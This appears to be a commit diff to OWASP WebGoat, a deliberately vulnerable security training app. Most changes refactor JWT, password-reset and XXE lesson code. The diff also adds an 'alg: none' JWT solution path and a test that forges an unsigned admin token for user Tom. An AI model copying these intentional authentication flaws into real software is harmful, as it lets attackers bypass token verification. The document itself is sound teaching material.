@ -31,34 +36,12 @@ import org.owasp.webgoat.container.LessonDataSource;
|
||||
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.container.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.container.assignments.AttackResult;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
import org.springframework.web.bind.annotation.PathVariable;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
*
|
||||
*
|
||||
* <pre>
|
||||
* {
|
||||
* "typ": "JWT",
|
||||
* "kid": "webgoat_key",
|
||||
* "alg": "HS256"
|
||||
* }
|
||||
* {
|
||||
* "iss": "WebGoat Token Builder",
|
||||
* "iat": 1524210904,
|
||||
* "exp": 1618905304,
|
||||
* "aud": "webgoat.org",
|
||||
* "sub": "jerry@webgoat.com",
|
||||
* "username": "Jerry",
|
||||
* "Email": "jerry@webgoat.com",
|
||||
* "Role": [
|
||||
* "Cat"
|
||||
* ]
|
||||
* }
|
||||
* </pre>
|
||||
*
|
||||
* @author nbaars
|
||||
* @since 4/23/17.
|
||||
*/
|
||||
@RestController
|
||||
@AssignmentHints({
|
||||
"jwt-final-hint1",
|
||||
|
@ -49,10 +49,6 @@ import org.springframework.web.bind.annotation.RequestHeader;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 4/23/17.
|
||||
*/
|
||||
@RestController
|
||||
@AssignmentHints({
|
||||
"jwt-refresh-hint1",
|
||||
@ -85,9 +81,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
|
||||
}
|
||||
|
||||
private Map<String, Object> createNewTokens(String user) {
|
||||
Map<String, Object> claims = new HashMap<>();
|
||||
claims.put("admin", "false");
|
||||
claims.put("user", user);
|
||||
Map<String, Object> claims = Map.of("admin", "false", "user", user);
|
||||
String token =
|
||||
Jwts.builder()
|
||||
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
|
||||
@ -114,6 +108,9 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
|
||||
Claims claims = (Claims) jwt.getBody();
|
||||
String user = (String) claims.get("user");
|
||||
if ("Tom".equals(user)) {
|
||||
if ("none".equals(jwt.getHeader().get("alg"))) {
|
||||
return ok(success(this).feedback("jwt-refresh-alg-none").build());
|
||||
}
|
||||
return ok(success(this).build());
|
||||
}
|
||||
return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build());
|
||||
|
@ -42,10 +42,6 @@ import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 4/23/17.
|
||||
*/
|
||||
@RestController
|
||||
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
|
||||
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
||||
|
@ -58,10 +58,6 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 4/23/17.
|
||||
*/
|
||||
@RestController
|
||||
@AssignmentHints({
|
||||
"jwt-change-token-hint1",
|
||||
|
@ -57,6 +57,7 @@ import org.springframework.web.servlet.ModelAndView;
|
||||
})
|
||||
public class ResetLinkAssignment extends AssignmentEndpoint {
|
||||
|
||||
private static final String VIEW_FORMATTER = "lessons/passwordreset/templates/%s.html";
|
||||
static final String PASSWORD_TOM_9 =
|
||||
"somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
|
||||
static final String TOM_EMAIL = "tom@webgoat-cloud.org";
|
||||
@ -65,15 +66,18 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
|
||||
static List<String> resetLinks = new ArrayList<>();
|
||||
|
||||
static final String TEMPLATE =
|
||||
"Hi, you requested a password reset link, please use this <a target='_blank'"
|
||||
+ " href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your"
|
||||
+ " password.\n"
|
||||
+ " \n\n"
|
||||
+ "If you did not request this password change you can ignore this message.\n"
|
||||
+ "If you have any comments or questions, please do not hesitate to reach us at"
|
||||
+ " support@webgoat-cloud.org\n\n"
|
||||
+ "Kind regards, \n"
|
||||
+ "Team WebGoat";
|
||||
"""
|
||||
Hi, you requested a password reset link, please use this <a target='_blank'
|
||||
href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your
|
||||
password.
|
||||
|
||||
If you did not request this password change you can ignore this message.
|
||||
If you have any comments or questions, please do not hesitate to reach us at
|
||||
support@webgoat-cloud.org
|
||||
|
||||
Kind regards,
|
||||
Team WebGoat
|
||||
""";
|
||||
|
||||
@PostMapping("/PasswordReset/reset/login")
|
||||
@ResponseBody
|
||||
@ -98,20 +102,14 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
|
||||
form.setResetLink(link);
|
||||
model.addAttribute("form", form);
|
||||
modelAndView.addObject("form", form);
|
||||
modelAndView.setViewName("password_reset"); // Display html page for changing password
|
||||
modelAndView.setViewName(
|
||||
VIEW_FORMATTER.formatted("password_reset")); // Display html page for changing password
|
||||
} else {
|
||||
modelAndView.setViewName("password_link_not_found");
|
||||
modelAndView.setViewName(VIEW_FORMATTER.formatted("password_link_not_found"));
|
||||
}
|
||||
return modelAndView;
|
||||
}
|
||||
|
||||
@GetMapping("/PasswordReset/reset/change-password")
|
||||
public ModelAndView illegalCall() {
|
||||
ModelAndView modelAndView = new ModelAndView();
|
||||
modelAndView.setViewName("password_link_not_found");
|
||||
return modelAndView;
|
||||
}
|
||||
|
||||
@PostMapping("/PasswordReset/reset/change-password")
|
||||
public ModelAndView changePassword(
|
||||
@ModelAttribute("form") PasswordChangeForm form, BindingResult bindingResult) {
|
||||
@ -120,17 +118,17 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
|
||||
bindingResult.rejectValue("password", "not.empty");
|
||||
}
|
||||
if (bindingResult.hasErrors()) {
|
||||
modelAndView.setViewName("password_reset");
|
||||
modelAndView.setViewName(VIEW_FORMATTER.formatted("password_reset"));
|
||||
return modelAndView;
|
||||
}
|
||||
if (!resetLinks.contains(form.getResetLink())) {
|
||||
modelAndView.setViewName("password_link_not_found");
|
||||
modelAndView.setViewName(VIEW_FORMATTER.formatted("password_link_not_found"));
|
||||
return modelAndView;
|
||||
}
|
||||
if (checkIfLinkIsFromTom(form.getResetLink())) {
|
||||
usersToTomPassword.put(getWebSession().getUserName(), form.getPassword());
|
||||
}
|
||||
modelAndView.setViewName("lessons/passwordreset/templates/success.html");
|
||||
modelAndView.setViewName(VIEW_FORMATTER.formatted("success"));
|
||||
return modelAndView;
|
||||
}
|
||||
|
||||
|
@ -23,7 +23,7 @@
|
||||
package org.owasp.webgoat.lessons.xxe;
|
||||
|
||||
import java.util.Collection;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import lombok.AllArgsConstructor;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
@ -36,9 +36,10 @@ import org.springframework.web.bind.annotation.RestController;
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("xxe/comments")
|
||||
@AllArgsConstructor
|
||||
public class CommentsEndpoint {
|
||||
|
||||
@Autowired private CommentsCache comments;
|
||||
private final CommentsCache comments;
|
||||
|
||||
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
|
@ -48,14 +48,15 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
||||
protected void configure(HttpSecurity http) throws Exception {
|
||||
ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =
|
||||
http.authorizeRequests()
|
||||
.antMatchers("/css/**", "/images/**", "/js/**", "/fonts/**", "/webjars/**", "/home")
|
||||
.permitAll()
|
||||
.antMatchers(HttpMethod.GET, "/mail/**", "/requests/**")
|
||||
.antMatchers(HttpMethod.POST, "/fileupload")
|
||||
.authenticated()
|
||||
.antMatchers("/files")
|
||||
.antMatchers(HttpMethod.GET, "/files", "/mail", "/requests")
|
||||
.authenticated()
|
||||
.and()
|
||||
.authorizeRequests()
|
||||
.anyRequest()
|
||||
.permitAll();
|
||||
|
||||
security.and().csrf().disable().formLogin().loginPage("/login").failureUrl("/login?error=true");
|
||||
security.and().formLogin().loginPage("/login").defaultSuccessUrl("/home", true).permitAll();
|
||||
security.and().logout().permitAll();
|
||||
|
@ -21,6 +21,7 @@ jwt-refresh-hint2=The token from the access log is no longer valid, can you find
|
||||
jwt-refresh-hint3=The endpoint for refreshing a token is 'JWT/refresh/newToken'
|
||||
jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your own refresh token
|
||||
jwt-refresh-not-tom=User is not Tom but {0}, please try again
|
||||
jwt-refresh-alg-none=Nicely found! You solved the assignment with 'alg: none' can you also solve it by using the refresh token?
|
||||
|
||||
jwt-final-jerry-account=Yikes, you are removing Jerry's account, try to delete the account of Tom
|
||||
jwt-final-not-tom=Username is not Tom try to pass a token for Tom
|
||||
|
@ -19,7 +19,7 @@ $(document).ready(() => {
|
||||
|
||||
function call(encode) {
|
||||
return () => {
|
||||
var url = encode ? '/WebWolf/jwt/encode' : '/WebWolf/jwt/decode';
|
||||
var url = encode ? '/jwt/encode' : '/jwt/decode';
|
||||
var formData = encode ? $('#encodeForm').getFormData() : $('#decodeForm').getFormData();
|
||||
formData["secretKey"] = $('#secretKey').val();
|
||||
|
||||
|
@ -18,7 +18,7 @@ import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
import org.springframework.boot.test.mock.mockito.MockBean;
|
||||
import org.springframework.boot.web.server.LocalServerPort;
|
||||
import org.springframework.boot.test.web.server.LocalServerPort;
|
||||
import org.springframework.test.context.TestPropertySource;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.web.context.WebApplicationContext;
|
||||
|
@ -29,6 +29,7 @@ import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
@ -43,14 +44,14 @@ import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
public class JWTRefreshEndpointTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new JWT());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
when(webSession.getUserName()).thenReturn("unit-test");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solveAssignment() throws Exception {
|
||||
void solveAssignment() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
|
||||
// First login to obtain tokens for Jerry
|
||||
@ -96,7 +97,26 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
}
|
||||
|
||||
@Test
|
||||
public void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception {
|
||||
void solutionWithAlgNone() throws Exception {
|
||||
String tokenWithNoneAlgorithm =
|
||||
Jwts.builder()
|
||||
.setHeaderParam("alg", "none")
|
||||
.addClaims(Map.of("admin", "true", "user", "Tom"))
|
||||
.compact();
|
||||
|
||||
// Now checkout with the new token from Tom
|
||||
mockMvc
|
||||
.perform(
|
||||
MockMvcRequestBuilders.post("/JWT/refresh/checkout")
|
||||
.header("Authorization", "Bearer " + tokenWithNoneAlgorithm))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)))
|
||||
.andExpect(
|
||||
jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-refresh-alg-none"))));
|
||||
}
|
||||
|
||||
@Test
|
||||
void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception {
|
||||
String accessTokenTom =
|
||||
"eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
|
||||
mockMvc
|
||||
@ -108,7 +128,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
}
|
||||
|
||||
@Test
|
||||
public void checkoutWitRandomTokenShouldFail() throws Exception {
|
||||
void checkoutWitRandomTokenShouldFail() throws Exception {
|
||||
String accessTokenTom =
|
||||
"eyJhbGciOiJIUzUxMiJ9.eyJpLXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
|
||||
mockMvc
|
||||
@ -121,7 +141,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
}
|
||||
|
||||
@Test
|
||||
public void flowForJerryAlwaysWorks() throws Exception {
|
||||
void flowForJerryAlwaysWorks() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
|
||||
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
|
||||
@ -146,7 +166,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
}
|
||||
|
||||
@Test
|
||||
public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {
|
||||
void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
|
||||
var loginJson = Map.of("user", "Jerry", "password", PASSWORD + "wrong");
|
||||
@ -159,7 +179,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
}
|
||||
|
||||
@Test
|
||||
public void loginShouldNotWorkForTom() throws Exception {
|
||||
void loginShouldNotWorkForTom() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
|
||||
var loginJson = Map.of("user", "Tom", "password", PASSWORD);
|
||||
@ -172,7 +192,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
}
|
||||
|
||||
@Test
|
||||
public void newTokenShouldWorkForJerry() throws Exception {
|
||||
void newTokenShouldWorkForJerry() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
Map<String, Object> loginJson = new HashMap<>();
|
||||
loginJson.put("user", "Jerry");
|
||||
@ -201,7 +221,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
}
|
||||
|
||||
@Test
|
||||
public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {
|
||||
void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
Map<String, Object> loginJson = new HashMap<>();
|
||||
loginJson.put("user", "Jerry");
|
||||
@ -229,21 +249,21 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
}
|
||||
|
||||
@Test
|
||||
public void noTokenWhileCheckoutShouldReturn401() throws Exception {
|
||||
void noTokenWhileCheckoutShouldReturn401() throws Exception {
|
||||
mockMvc
|
||||
.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout"))
|
||||
.andExpect(status().isUnauthorized());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void noTokenWhileRequestingNewTokenShouldReturn401() throws Exception {
|
||||
void noTokenWhileRequestingNewTokenShouldReturn401() throws Exception {
|
||||
mockMvc
|
||||
.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken"))
|
||||
.andExpect(status().isUnauthorized());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void noTokenWhileLoginShouldReturn401() throws Exception {
|
||||
void noTokenWhileLoginShouldReturn401() throws Exception {
|
||||
mockMvc
|
||||
.perform(MockMvcRequestBuilders.post("/JWT/refresh/login"))
|
||||
.andExpect(status().isUnauthorized());
|
||||
|
@ -0,0 +1,103 @@
|
||||
package org.owasp.webgoat.lessons.passwordreset;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.owasp.webgoat.lessons.passwordreset.ResetLinkAssignment.TOM_EMAIL;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.view;
|
||||
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.core.io.ResourceLoader;
|
||||
import org.springframework.http.HttpHeaders;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.MvcResult;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
@ExtendWith(SpringExtension.class)
|
||||
class ResetLinkAssignmentTest extends LessonTest {
|
||||
|
||||
@Value("${webwolf.host}")
|
||||
private String webWolfHost;
|
||||
|
||||
@Value("${webwolf.port}")
|
||||
private String webWolfPort;
|
||||
|
||||
@Autowired private ResourceLoader resourceLoader;
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new PasswordReset());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
void wrongResetLink() throws Exception {
|
||||
MvcResult mvcResult =
|
||||
mockMvc
|
||||
.perform(
|
||||
MockMvcRequestBuilders.get("/PasswordReset/reset/reset-password/{link}", "test"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(view().name("lessons/passwordreset/templates/password_link_not_found.html"))
|
||||
.andReturn();
|
||||
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
|
||||
.isNotNull();
|
||||
}
|
||||
|
||||
@Test
|
||||
void changePasswordWithoutPasswordShouldReturnPasswordForm() throws Exception {
|
||||
MvcResult mvcResult =
|
||||
mockMvc
|
||||
.perform(MockMvcRequestBuilders.post("/PasswordReset/reset/change-password"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(view().name("lessons/passwordreset/templates/password_reset.html"))
|
||||
.andReturn();
|
||||
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
|
||||
.isNotNull();
|
||||
}
|
||||
|
||||
@Test
|
||||
void changePasswordWithoutLinkShouldReturnPasswordLinkNotFound() throws Exception {
|
||||
MvcResult mvcResult =
|
||||
mockMvc
|
||||
.perform(
|
||||
MockMvcRequestBuilders.post("/PasswordReset/reset/change-password")
|
||||
.param("password", "new_password"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(view().name("lessons/passwordreset/templates/password_link_not_found.html"))
|
||||
.andReturn();
|
||||
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
|
||||
.isNotNull();
|
||||
}
|
||||
|
||||
@Test
|
||||
void knownLinkShouldReturnPasswordResetPage() throws Exception {
|
||||
// Create a reset link
|
||||
mockMvc
|
||||
.perform(
|
||||
MockMvcRequestBuilders.post("/PasswordReset/ForgotPassword/create-password-reset-link")
|
||||
.param("email", TOM_EMAIL)
|
||||
.header(HttpHeaders.HOST, webWolfHost + ":" + webWolfPort))
|
||||
.andExpect(status().isOk());
|
||||
Assertions.assertThat(ResetLinkAssignment.resetLinks).isNotEmpty();
|
||||
|
||||
// With a known link you should be
|
||||
MvcResult mvcResult =
|
||||
mockMvc
|
||||
.perform(
|
||||
MockMvcRequestBuilders.get(
|
||||
"/PasswordReset/reset/reset-password/{link}",
|
||||
ResetLinkAssignment.resetLinks.get(0)))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(view().name("lessons/passwordreset/templates/password_reset.html"))
|
||||
.andReturn();
|
||||
|
||||
Assertions.assertThat(resourceLoader.getResource(mvcResult.getModelAndView().getViewName()))
|
||||
.isNotNull();
|
||||
}
|
||||
}
|
@ -6,4 +6,5 @@ spring.main.banner-mode=off
|
||||
spring.jpa.properties.hibernate.default_schema=CONTAINER
|
||||
spring.thymeleaf.prefix=classpath:/webwolf/templates/
|
||||
|
||||
webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver
|
||||
|
||||
|
Reference in New Issue
Block a user